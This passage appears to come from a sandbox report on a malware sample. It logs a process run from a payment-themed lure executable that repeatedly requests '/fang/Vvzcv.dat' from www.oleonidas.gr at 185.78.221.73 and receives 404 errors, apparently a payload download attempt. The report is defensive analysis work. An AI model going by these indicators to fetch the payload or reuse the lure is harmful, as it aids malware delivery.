2024-11-24 15:40:19 UTC	309	IN	Data Raw: 31 32 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 2b 52 44 46 61 20 31 2e 30 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 4d 61 72 6b 55 70 2f 44 54 44 2f 78 68 74 6d 6c 2d 72 64 66 61 2d 31 2e 64 74 64 22 3e 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 2f 66 61 6e 67 2f 56 76 7a 63 76 2e 64 61 74 22 20 Data Ascii: 129<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML+RDFa 1.0//EN" "http://www.w3.org/MarkUp/DTD/xhtml-rdfa-1.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL "/fang/Vvzcv.dat"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.5	49756	185.78.221.73	443	3504	C:\Users\user\Desktop\FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-24 15:40:21 UTC	56	OUT	GET /fang/Vvzcv.dat HTTP/1.1 Host: www.oleonidas.gr
2024-11-24 15:40:21 UTC	184	IN	HTTP/1.1 404 Not Found Date: Sun, 24 Nov 2024 15:40:21 GMT Server: Apache Vary: User-Agent Connection: close Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8
2024-11-24 15:40:21 UTC	309	IN	Data Raw: 31 32 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 2b 52 44 46 61 20 31 2e 30 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 4d 61 72 6b 55 70 2f 44 54 44 2f 78 68 74 6d 6c 2d 72 64 66 61 2d 31 2e 64 74 64 22 3e 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 2f 66 61 6e 67 2f 56 76 7a 63 76 2e 64 61 74 22 20 Data Ascii: 129<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML+RDFa 1.0//EN" "http://www.w3.org/MarkUp/DTD/xhtml-rdfa-1.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL "/fang/Vvzcv.dat"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.5	49762	185.78.221.73	443	3504	C:\Users\user\Desktop\FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-24 15:40:23 UTC	56	OUT	GET /fang/Vvzcv.dat HTTP/1.1 Host: www.oleonidas.gr
2024-11-24 15:40:23 UTC	184	IN	HTTP/1.1 404 Not Found Date: Sun, 24 Nov 2024 15:40:23 GMT Server: Apache Vary: User-Agent Connection: close Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8
2024-11-24 15:40:23 UTC	309	IN	Data Raw: 31 32 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 2b 52 44 46 61 20 31 2e 30 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 4d 61 72 6b 55 70 2f 44 54 44 2f 78 68 74 6d 6c 2d 72 64 66 61 2d 31 2e 64 74 64 22 3e 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 2f 66 61 6e 67 2f 56 76 7a 63 76 2e 64 61 74 22 20 Data Ascii: 129<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML+RDFa 1.0//EN" "http://www.w3.org/MarkUp/DTD/xhtml-rdfa-1.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL "/fang/Vvzcv.dat"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.5	49768	185.78.221.73	443	3504	C:\Users\user\Desktop\FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-24 15:40:25 UTC	56	OUT	GET /fang/Vvzcv.dat HTTP/1.1 Host: www.oleonidas.gr
2024-11-24 15:40:26 UTC	184	IN	HTTP/1.1 404 Not Found Date: Sun, 24 Nov 2024 15:40:25 GMT Server: Apache Vary: User-Agent Connection: close Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8
2024-11-24 15:40:26 UTC	309	IN	Data Raw: 31 32 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 2b 52 44 46 61 20 31 2e 30 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 4d 61 72 6b 55 70 2f 44 54 44 2f 78 68 74 6d 6c 2d 72 64 66 61 2d 31 2e 64 74 64 22 3e 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 2f 66 61 6e 67 2f 56 76 7a 63 76 2e 64 61 74 22 20 Data Ascii: 129<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML+RDFa 1.0//EN" "http://www.w3.org/MarkUp/DTD/xhtml-rdfa-1.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL "/fang/Vvzcv.dat"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.5	49774	185.78.221.73	443	3504	C:\Users\user\Desktop\FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-24 15:40:27 UTC	56	OUT	GET /fang/Vvzcv.dat HTTP/1.1 Host: www.oleonidas.gr
2024-11-24 15:40:28 UTC	184	IN	HTTP/1.1 404 Not Found Date: Sun, 24 Nov 2024 15:40:27 GMT Server: Apache Vary: User-Agent Connection: close Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8
2024-11-24 15:40:28 UTC	309	IN	Data Raw: 31 32 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 2b 52 44 46 61 20 31 2e 30 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 4d 61 72 6b 55 70 2f 44 54 44 2f 78 68 74 6d 6c 2d 72 64 66 61 2d 31 2e 64 74 64 22 3e 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 2f 66 61 6e 67 2f 56 76 7a 63 76 2e 64 61 74 22 20 Data Ascii: 129<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML+RDFa 1.0//EN" "http://www.w3.org/MarkUp/DTD/xhtml-rdfa-1.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL "/fang/Vvzcv.dat"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.5	49780	185.78.221.73	443	3504	C:\Users\user\Desktop\FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-24 15:40:29 UTC	56	OUT	GET /fang/Vvzcv.dat HTTP/1.1 Host: www.oleonidas.gr
2024-11-24 15:40:30 UTC	184	IN	HTTP/1.1 404 Not Found Date: Sun, 24 Nov 2024 15:40:30 GMT Server: Apache Vary: User-Agent Connection: close Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8
2024-11-24 15:40:30 UTC	309	IN	Data Raw: 31 32 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 2b 52 44 46 61 20 31 2e 30 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 4d 61 72 6b 55 70 2f 44 54 44 2f 78 68 74 6d 6c 2d 72 64 66 61 2d 31 2e 64 74 64 22 3e 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 2f 66 61 6e 67 2f 56 76 7a 63 76 2e 64 61 74 22 20 Data Ascii: 129<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML+RDFa 1.0//EN" "http://www.w3.org/MarkUp/DTD/xhtml-rdfa-1.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL "/fang/Vvzcv.dat"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.5	49786	185.78.221.73	443	3504	C:\Users\user\Desktop\FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-24 15:40:31 UTC	56	OUT	GET /fang/Vvzcv.dat HTTP/1.1 Host: www.oleonidas.gr
2024-11-24 15:40:32 UTC	184	IN	HTTP/1.1 404 Not Found Date: Sun, 24 Nov 2024 15:40:32 GMT Server: Apache Vary: User-Agent Connection: close Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8
2024-11-24 15:40:32 UTC	309	IN	Data Raw: 31 32 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 2b 52 44 46 61 20 31 2e 30 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 4d 61 72 6b 55 70 2f 44 54 44 2f 78 68 74 6d 6c 2d 72 64 66 61 2d 31 2e 64 74 64 22 3e 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 2f 66 61 6e 67 2f 56 76 7a 63 76 2e 64 61 74 22 20 Data Ascii: 129<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML+RDFa 1.0//EN" "http://www.w3.org/MarkUp/DTD/xhtml-rdfa-1.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL "/fang/Vvzcv.dat"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.5	49792	185.78.221.73	443	3504	C:\Users\user\Desktop\FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-24 15:40:33 UTC	56	OUT	GET /fang/Vvzcv.dat HTTP/1.1 Host: www.oleonidas.gr
2024-11-24 15:40:34 UTC	184	IN	HTTP/1.1 404 Not Found Date: Sun, 24 Nov 2024 15:40:34 GMT Server: Apache Vary: User-Agent Connection: close Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8
2024-11-24 15:40:34 UTC	309	IN	Data Raw: 31 32 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 2b 52 44 46 61 20 31 2e 30 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 4d 61 72 6b 55 70 2f 44 54 44 2f 78 68 74 6d 6c 2d 72 64 66 61 2d 31 2e 64 74 64 22 3e 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 2f 66 61 6e 67 2f 56 76 7a 63 76 2e 64 61 74 22 20 Data Ascii: 129<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML+RDFa 1.0//EN" "http://www.w3.org/MarkUp/DTD/xhtml-rdfa-1.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL "/fang/Vvzcv.dat"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.5	49798	185.78.221.73	443	3504	C:\Users\user\Desktop\FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-24 15:40:36 UTC	56	OUT	GET /fang/Vvzcv.dat HTTP/1.1 Host: www.oleonidas.gr
2024-11-24 15:40:36 UTC	184	IN	HTTP/1.1 404 Not Found Date: Sun, 24 Nov 2024 15:40:36 GMT Server: Apache Vary: User-Agent Connection: close Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8
2024-11-24 15:40:36 UTC	309	IN	Data Raw: 31 32 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 2b 52 44 46 61 20 31 2e 30 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 4d 61 72 6b 55 70 2f 44 54 44 2f 78 68 74 6d 6c 2d 72 64 66 61 2d 31 2e 64 74 64 22 3e 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 2f 66 61 6e 67 2f 56 76 7a 63 76 2e 64 61 74 22 20 Data Ascii: 129<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML+RDFa 1.0//EN" "http://www.w3.org/MarkUp/DTD/xhtml-rdfa-1.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL "/fang/Vvzcv.dat"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.5	49804	185.78.221.73	443	3504	C:\Users\user\Desktop\FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-24 15:40:38 UTC	56	OUT	GET /fang/Vvzcv.dat HTTP/1.1 Host: www.oleonidas.gr
2024-11-24 15:40:38 UTC	184	IN	HTTP/1.1 404 Not Found Date: Sun, 24 Nov 2024 15:40:38 GMT Server: Apache Vary: User-Agent Connection: close Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8
2024-11-24 15:40:38 UTC	309	IN	Data Raw: 31 32 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 2b 52 44 46 61 20 31 2e 30 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 4d 61 72 6b 55 70 2f 44 54 44 2f 78 68 74 6d 6c 2d 72 64 66 61 2d 31 2e 64 74 64 22 3e 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 2f 66 61 6e 67 2f 56 76 7a 63 76 2e 64 61 74 22 20 Data Ascii: 129<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML+RDFa 1.0//EN" "http://www.w3.org/MarkUp/DTD/xhtml-rdfa-1.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL "/fang/Vvzcv.dat"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.5	49810	185.78.221.73	443	3504	C:\Users\user\Desktop\FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-24 15:40:40 UTC	56	OUT	GET /fang/Vvzcv.dat HTTP/1.1 Host: www.oleonidas.gr
2024-11-24 15:40:41 UTC	184	IN	HTTP/1.1 404 Not Found Date: Sun, 24 Nov 2024 15:40:40 GMT Server: Apache Vary: User-Agent Connection: close Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8
2024-11-24 15:40:41 UTC	309	IN	Data Raw: 31 32 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 2b 52 44 46 61 20 31 2e 30 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 4d 61 72 6b 55 70 2f 44 54 44 2f 78 68 74 6d 6c 2d 72 64 66 61 2d 31 2e 64 74 64 22 3e 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 2f 66 61 6e 67 2f 56 76 7a 63 76 2e 64 61 74 22 20 Data Ascii: 129<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML+RDFa 1.0//EN" "http://www.w3.org/MarkUp/DTD/xhtml-rdfa-1.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL "/fang/Vvzcv.dat"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.5	49816	185.78.221.73	443	3504	C:\Users\user\Desktop\FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-24 15:40:42 UTC	56	OUT	GET /fang/Vvzcv.dat HTTP/1.1 Host: www.oleonidas.gr
2024-11-24 15:40:43 UTC	184	IN	HTTP/1.1 404 Not Found Date: Sun, 24 Nov 2024 15:40:42 GMT Server: Apache Vary: User-Agent Connection: close Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8
2024-11-24 15:40:43 UTC	309	IN	Data Raw: 31 32 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 2b 52 44 46 61 20 31 2e 30 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 4d 61 72 6b 55 70 2f 44 54 44 2f 78 68 74 6d 6c 2d 72 64 66 61 2d 31 2e 64 74 64 22 3e 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 2f 66 61 6e 67 2f 56 76 7a 63 76 2e 64 61 74 22 20 Data Ascii: 129<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML+RDFa 1.0//EN" "http://www.w3.org/MarkUp/DTD/xhtml-rdfa-1.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL "/fang/Vvzcv.dat"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.5	49821	185.78.221.73	443	3504	C:\Users\user\Desktop\FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-24 15:40:44 UTC	56	OUT	GET /fang/Vvzcv.dat HTTP/1.1 Host: www.oleonidas.gr
2024-11-24 15:40:45 UTC	184	IN	HTTP/1.1 404 Not Found Date: Sun, 24 Nov 2024 15:40:45 GMT Server: Apache Vary: User-Agent Connection: close Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8
2024-11-24 15:40:45 UTC	309	IN	Data Raw: 31 32 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 2b 52 44 46 61 20 31 2e 30 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 4d 61 72 6b 55 70 2f 44 54 44 2f 78 68 74 6d 6c 2d 72 64 66 61 2d 31 2e 64 74 64 22 3e 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 2f 66 61 6e 67 2f 56 76 7a 63 76 2e 64 61 74 22 20 Data Ascii: 129<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML+RDFa 1.0//EN" "http://www.w3.org/MarkUp/DTD/xhtml-rdfa-1.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL "/fang/Vvzcv.dat"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.5	49826	185.78.221.73	443	3504	C:\Users\user\Desktop\FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-24 15:40:46 UTC	56	OUT	GET /fang/Vvzcv.dat HTTP/1.1 Host: www.oleonidas.gr
2024-11-24 15:40:47 UTC	184	IN	HTTP/1.1 404 Not Found Date: Sun, 24 Nov 2024 15:40:47 GMT Server: Apache Vary: User-Agent Connection: close Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8
